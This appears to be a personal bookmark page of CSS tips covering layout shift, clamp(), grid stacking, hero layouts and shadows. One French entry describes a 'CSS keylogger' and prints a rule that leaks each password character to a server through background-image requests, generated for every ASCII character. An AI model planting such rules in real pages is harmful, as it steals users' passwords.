😍

A layout shift is what happens when an update in a web page causes something to move significantly.

1. Using absolute/relative position but is is tricky.
2. grid solution: placing the content in a cell of a grid, and use a visibility: hidden for every view. The biggest one will be wrapped or calculated, which prevent the layout shift !

A transparent page that shows how it is itself built 😄

clamp(min, defaultValue, maxValue) is resolved as max(MIN, min(VAL, MAX)). And of course relative units can be used :

The clamp() function can be used anywhere a , , , , , , or is allowed.

Malin ! Un keylogger en CSS !

En fait un script génère pour tous les caractères ASCII, l'instruction CSS suivante :

input[type="password"][value$="a"] {
  background-image: url("http://localhost:3000/a");
}

Qui signifie que pour les champs de type password dont la valeur se termine par a, on va effectuer une requête externe vers un serveur avec la lettre a. On fait ça pour tous les caractères et hop on a le mot de passe.

(via https://links.hoa.ro/shaare/689gzA, via https://bookmarks.ecyseo.net/?cymp8g)

text-shadow: 0 0 1px rgba(0,0,0,0.3);

A nice code snippet here :

.checkbox__input {
  display: grid;
  grid-template-areas: "checkbox";

  > * {
    grid-area: checkbox;
  }
}

This will put all children in the same area; and will behave as a position: absolute, but with the power of Grid

A list of beautiful background gradient 🌈

Put all the items in the same cells

header {
  display: grid;
  grid-template-areas: "heros";

  > * {
    grid-area: hero;
  }
}

Hero 1 summary

object-fit used to control img size
align-items: center used to vertically align the grid children

Hero 2 summary

created a color screen over the img by defining background-color of the header with rgba and adding z-index: -1 to the img to slide it behind the header
used pseudo-elements for additional design flair, and positioned them separately from the parent grid definition with place-self

Hero 3 summary

use of a wrapper to provide a secondary grid layout for content versus header design elements
creation of auto-width columns with grid-template-columns
Leveraging vmin to minimize padding on smaller viewports and increase it for larger viewports

Nice picture 👍

A new up-to-date CSS Zen Garden

1. Switch the Grid Flow Axis : grid-auto-flow: column;
2. XY Center Anything : place-content: center; (on any child)
3. Intrinsically Responsive Grid Columns

:root {
  --grid-col-breakpoint: 15rem;
}

.grid-columns {
  grid-template-columns: repeat(auto-fit, minmax(var(--grid-col-breakpoint), 1fr));
}

box-shadow with inset 😍

minmax(0, 1fr)

because by default the min size is auto which leads to be the size of the element

Less than 10kb gziped and do the job

WOW this use of attr() function in CSS ♥